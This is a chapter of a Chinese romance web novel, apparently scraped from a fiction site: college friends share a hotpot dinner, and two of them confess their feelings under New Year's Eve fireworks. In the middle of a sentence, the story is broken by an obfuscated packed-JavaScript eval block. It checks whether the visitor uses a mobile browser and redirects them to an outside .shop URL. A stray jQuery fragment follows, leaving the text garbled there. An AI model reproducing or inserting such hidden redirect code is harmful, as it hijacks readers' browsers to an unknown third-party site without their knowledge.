傅翊庭没有出去太久就回来了,手里拿着一小袋东西,不知道是什么。
他没有和别人解释自己出去做了什么,把东西放进自己今晚住的卧室就出来了。
桌上的碗筷都摆好了,火锅的食材在旁边码得整整齐齐,火锅正在咕噜噜地冒泡。
许东晟招呼他:“傅哥你回来的正好,我们开饭了。”
傅翊庭的情绪比刚刚好了一点,他不想让自己影响到大家的心情,少见地把愉悦挂在脸上。
五个人围坐在民宿圆形的餐桌前,筷子起起落落,煮火锅的声音和说话的声音混在一起,锅里翻滚的酸汤锅底把整个屋子熏得暖融融的,还带着一股薄荷的清香。
陈晓园和苏亦晴话多,从天南聊到海北,从校园佚事聊到期末考试,好不热闹。
何喻涵和傅翊庭心里藏着事,都没怎么说话,要是提到他们了就笑笑,打起精神来回应一下。
何喻涵从小在南城长大,口味偏清淡,吃不了太辣,但是酸汤火锅的味道太好了,即使被辣到了,还是忍不住一口接一口地往嘴里送。
所以她的饮料总是喝得特别快。
傅翊庭又坐在了她的旁边,显然,这还是那三个人精心安排的位置。
他一直关注着她,何喻涵的饮料变少了,他都能及时添上。
何喻涵每次都安静地接受,说一声谢谢,在这一点点互动中,她感觉心里的褶皱在被慢慢地抚平。
她怎么能不懂呢?
本以为事情已经过去,但现在又重新跳到了他的眼前,又是以这样的方式提醒他,她因为他受过的委屈。
他要怎么不自责,他要如何不愧疚?
吃完饭收拾桌子,傅翊庭主动请缨要洗碗,帮忙收拾餐厅和厨房,让刚刚忙活的大家去休息。
何喻涵在沙发上坐不住,不停伸着脖子往傅翊庭忙活的地方看。
陈晓园拉了一下她:“你俩今天咋了,感觉氛围不对劲。”
何喻涵被她拉着坐下,卷起了自己的袖子,给陈晓园看。
大片的淤青让陈晓园倒吸了一口凉气:“这是怎么弄的?”
“赵嘉妤给我抓的。”
“我刚刚让他帮你忙的时候才看到的吗?”
何喻涵咬着唇点头。
“乖乖,那他不难受坏了?你怎么也不早告诉他?”陈晓园扶额,“不对,确实没必要说,哎…都怪我。”
“和你没关系,是我也忘了这回事了。”何喻涵安抚她。
“那这个大家都帮不了你俩了,他得自己心里过得去。”
何喻涵点头。
半个小时不到,傅翊庭收拾完了,此时离晚上南江口的活动还有快两个小时。
民宿里的电视放着bilibili跨年夜晚会,听着很热闹,但大家还是看得兴趣缺缺。
“我们刚好五个人,不然我们五个来打王者荣耀吧。”苏亦晴提议。
跨年夜的服务器挤到爆炸,五个人段位不一样,水平各有高低,最后选择打几把娱乐局消磨一下时间。
等玩完,时间就已经逼近十一点了。
南江口的烟花定在十一点半开始。
出门的时候,五个人都穿上了厚厚的外套,冬夜的风吹来,冷飕飕的。
苏亦晴躲在许东晟怀里,何喻涵和陈晓园挽在一起,傅翊庭一个人走在后面。
他把手塞进自己的大衣左口袋,里面有个冰凉凉的东西,他伸手把它握紧,手里的东西却硌得他脑子愈发混沌。
虽然民宿就在南江口,但走到能看到烟花的地方也要步行十几分钟。
街道上全是人,到处是跨年夜的气氛。有人已经在路边开始放起了仙女棒,手里的仙女棒在夜色中划出了金色的弧线。
还有好多小孩,名正言顺的熬夜让他们更加兴奋,他们拿着气球跑来跑去,留下一串童真的笑声。
越靠近江边,风越冷冽,还带着一股若有似无的水汽。
江边已经聚集了不少的人,他们挤到了一个视线比较好的位置站定。
还有不到五分钟,何喻涵突然发现他们站的位置只剩下她和傅翊庭两个人。
剩下三个人不知道什么时候不见了。
她哑然:“他们人呢?”
“人太多可能被挤开了,你得跟紧我,别走丢了。”傅翊庭交代。
他心里清楚,那三个人在给自己留单独空间,所以趁着何喻涵没注意跑了。
何喻涵“哦”了一声,朝着傅翊庭走近一步,站在他的右边,生怕被人流冲散。
十一点半刚过一秒,就看到一颗金色的光点从江面上升起,在最高处迸裂成无数条光带。
第一朵烟花在夜空中炸开。
金色的烟花缓缓下落后,又不断升起了不同颜色的烟花,红的、紫的、绿的,各色彩光映照在人们的脸庞上、眼眸中。
烟花表演开始,同一时间,在江的另一边,无人机也飞了起来。
人群发出阵阵惊呼,有的人举着手机录像,有的人兴奋地拥抱在一起,有的人在烟花炸响的间隙大声地喊出自己的愿望。
何喻涵仰头看着被烟花照亮的夜空,彩色的光点落进她的眼睛里。
她余光感觉到傅翊庭在看自己,她转头看向他:“好看吗?烟花。”
傅翊庭像如梦初醒一般,回她:“好看。”
烟花还在继续,一朵接着一朵地上升、炸开、再消散。声音很大,震得胸腔都在轻轻发颤,何喻涵不知道怎么的,突然想起了他们在海城的经历。
她拉了拉傅翊庭的袖子,示意他俯下身来。
傅翊庭把耳朵靠近何喻涵,对方温热的呼吸随着她不断开合的嘴唇往他耳廓上扑。
他听到何喻涵说:“傅翊庭,我突然想起来,我上次看烟花是在海城。是认识你的那一天哎。”
何喻涵看见傅翊庭笑了笑,靠近她,声音响在她的耳边:“那这是我们第二次一起看烟花了。”
“哎?”
带着疑惑眼神的何喻涵撞上了傅翊庭含笑的眼眸。
他说得很轻,几乎被烟花声盖了过去,但她还是听见了。每一个字都清清楚楚的,落进她的耳朵里,落进她的心跳上。
“那天,我也在和你一起看。”
何喻涵莫名地鼓起一股勇气,她的手臂贴着他的手臂,两件同色的深灰色大衣严丝合缝地贴在一起。
然后她提高了音量,对着又转头回去看烟花的傅翊庭喊:“傅翊庭,我的手有点冷。”
傅翊庭闻言转过头来,有些无措,他红着脸,试探着问:“要给你焐焐吗,我的手还算热。”
“嗯。”何喻涵重重点头,主动地握上了他的手。
傅翊庭摩挲着她的手,两个人再没敢对视,把目光又放回烟花表演处。
两个人的心跳都快要撞出胸膛,他们都在庆幸,在烟花的炸开声中,自己心跳的声音可以被好好地藏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685925|206153||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
匿着。
傅翊庭的右手把何喻涵的左手握着,一起放进了他大衣的右口袋里,两只手在半密闭的空间里紧紧地依偎着。
何喻涵觉得自己都快要烧起来了。
时间一分一秒地流逝,分针拨到了59分。
倒数的时候,所有人都在跟着喊。
“十!”
傅翊庭心跳加速,左手塞进大衣的左口袋里,又摸到了那个冰凉的东西,手指紧张地与它缠绕着。
“九!”
何喻涵的左手用了更大的力气,将傅翊庭的手牵住,好像要传递一点自己的紧张。
“八!七!六!”
傅翊庭把东西缠绕在手指上,握在手心里,偷偷地从口袋里拿了出来。
“五!四!三!二!”
何喻涵也跟着喊了,声音不大,右手握拳,像是给自己打气。
“一!”
“傅翊庭,新年快乐!”
何喻涵转过头,正想去看傅翊庭,却见他握着拳头伸到她眼前,玫瑰金色的链条在他指间缠绕,随即他手指一张,一个乳白色的H字母吊坠落了下来。
“新年快乐,何喻涵。”
周围的人潮在涌动,欢呼声一浪高过一浪,他们站在人群中间,谁也没有动。
“我可以给你戴上吗?”傅翊庭拿着项链问。
何喻涵眼眶有些红,刚想出声,却觉得自己有些哽咽,她只好换成动作。
她重重地点了个头。
傅翊庭拿着项链的手,绕过了她脖颈,他的手指忍不住颤抖,好一会儿都没戴上。
“抱歉,我有点紧张。”傅翊庭说话的声音在何喻涵头顶响起。
何喻涵也紧张,但是她听到这句话被逗笑了,一下轻松多了。
傅翊庭给她戴完项链,就只是愣愣地看着她。
何喻涵主动问:“就只有新年快乐吗?没有别的?”
傅翊庭眼神开始乱飘,肉眼可见的看到耳朵慢慢地变红,像快要滴出血来,他像是鼓起很大的勇气一样,开口说:“何喻涵,我喜欢你。我希望明年的这个时候,我们还可以一起跨年。”
“然后呢?”
“没...没了。”傅翊庭结巴道。
何喻涵假装生气,叉着腰,“没有?没有‘何喻涵,可以做我女朋友吗?’这句话吗?”
傅翊庭塌下肩膀,可怜巴巴地回复她:“我不好意思。要不你再考验我一段时间吧。”
“什么叫不好意思啊?”何喻涵要气笑了。
这个傻子,东西也送了,表白也表了,到了确定关系的时候开始不好意思起来了。
“今天看到你的手臂,让我觉得我还没有资格,让我觉得我处理事情还不够成熟,让自己喜欢的女孩受伤。”傅翊庭垂眸,“在我的计划里,确实是今晚要说这句话的,但是现在我有点说不出口了,我觉得我必须要把事情再处理好一点,才有资格说这句话。”
何喻涵没接话,低头从自己带着的挎包里掏掏掏,掏出一个精美的盒子。
她把方方正正的黑色盒子举到傅翊庭眼前,打开。
里面是一块墨绿色的石英表,天梭海星系列,喻岚对零花钱管控很严,买这个表花了何喻涵一点存款。
何喻涵坚定地看向他,问:“那傅翊庭同学,我喜欢你,可以做我男朋友吗?”
傅翊庭真切地傻眼了。
“你要拒绝我吗?”何喻涵追着问。